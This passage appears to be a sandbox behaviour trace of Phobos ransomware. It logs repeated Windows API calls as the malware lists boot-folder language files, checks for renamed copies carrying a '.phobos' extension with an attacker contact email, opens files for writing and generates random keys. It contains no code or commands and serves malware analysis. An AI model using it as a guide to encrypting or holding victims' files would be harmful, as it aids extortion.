(hObject=0x304) returned 1 [0056.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll")) returned 0x20 [0056.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\resources\\bootres.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.045] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.045] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.045] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.045] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=12192) returned 1 [0056.045] CloseHandle (hObject=0x304) returned 1 [0056.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui")) returned 0x20 [0056.045] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.045] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.046] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.046] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.046] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=76128) returned 1 [0056.046] CloseHandle (hObject=0x304) returned 1 [0056.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui")) returned 0x20 [0056.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.046] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.046] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.046] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.046] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=77152) returned 1 [0056.046] CloseHandle (hObject=0x304) returned 1 [0056.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0056.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.047] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.047] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.047] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.047] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=44960) returned 1 [0056.047] CloseHandle (hObject=0x304) returned 1 [0056.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui")) returned 0x20 [0056.047] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.047] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.047] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.047] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.048] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=77144) returned 1 [0056.048] CloseHandle (hObject=0x304) returned 1 [0056.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui")) returned 0x20 [0056.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.048] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.048] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.048] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.048] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=76640) returned 1 [0056.048] CloseHandle (hObject=0x304) returned 1 [0056.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui")) returned 0x20 [0056.048] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.049] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.049] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.049] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.049] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=77152) returned 1 [0056.049] CloseHandle (hObject=0x304) returned 1 [0056.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui")) returned 0x20 [0056.049] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.049] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.049] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.049] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.050] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=44888) returned 1 [0056.050] CloseHandle (hObject=0x304) returned 1 [0056.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui")) returned 0x20 [0056.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.050] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.050] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.050] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.050] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=77152) returned 1 [0056.050] CloseHandle (hObject=0x304) returned 1 [0056.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui")) returned 0x20 [0056.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.050] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.051] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.051] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.051] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=76128) returned 1 [0056.051] CloseHandle (hObject=0x304) returned 1 [0056.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0056.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.051] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.051] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.051] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.052] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=44952) returned 1 [0056.052] CloseHandle (hObject=0x304) returned 1 [0056.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui")) returned 0x20 [0056.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.052] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.052] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.052] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.052] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=75096) returned 1 [0056.052] CloseHandle (hObject=0x304) returned 1 [0056.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0056.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.053] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.053] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.053] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.053] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=45472) returned 1 [0056.053] CloseHandle (hObject=0x304) returned 1 [0056.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui")) returned 0x20 [0056.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.053] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.053] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.053] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.054] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=77152) returned 1 [0056.054] CloseHandle (hObject=0x304) returned 1 [0056.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui")) returned 0x20 [0056.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.054] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\uk-UA\\bootmgr.exe.mui" (normalized: "c:\\boot\\uk-ua\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.054] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.054] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.054] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=63840) returned 1 [0056.054] CloseHandle (hObject=0x304) returned 1 [0056.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui")) returned 0x20 [0056.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.054] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.055] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.055] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.055] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=42400) returned 1 [0056.055] CloseHandle (hObject=0x304) returned 1 [0056.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui")) returned 0x20 [0056.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.055] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-CN\\memtest.exe.mui" (normalized: "c:\\boot\\zh-cn\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.055] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.055] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.055] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=63832) returned 1 [0056.056] CloseHandle (hObject=0x304) returned 1 [0056.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui")) returned 0x20 [0056.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.583] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.584] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.584] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.584] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=42328) returned 1 [0056.584] CloseHandle (hObject=0x304) returned 1 [0056.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui")) returned 0x20 [0056.584] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0056.584] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-HK\\memtest.exe.mui" (normalized: "c:\\boot\\zh-hk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0056.584] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0056.584] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0056.584] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=63840) returned 1 [0056.585] CloseHandle (hObject=0x304) returned 1 [0056.585] GetFileAttributesW 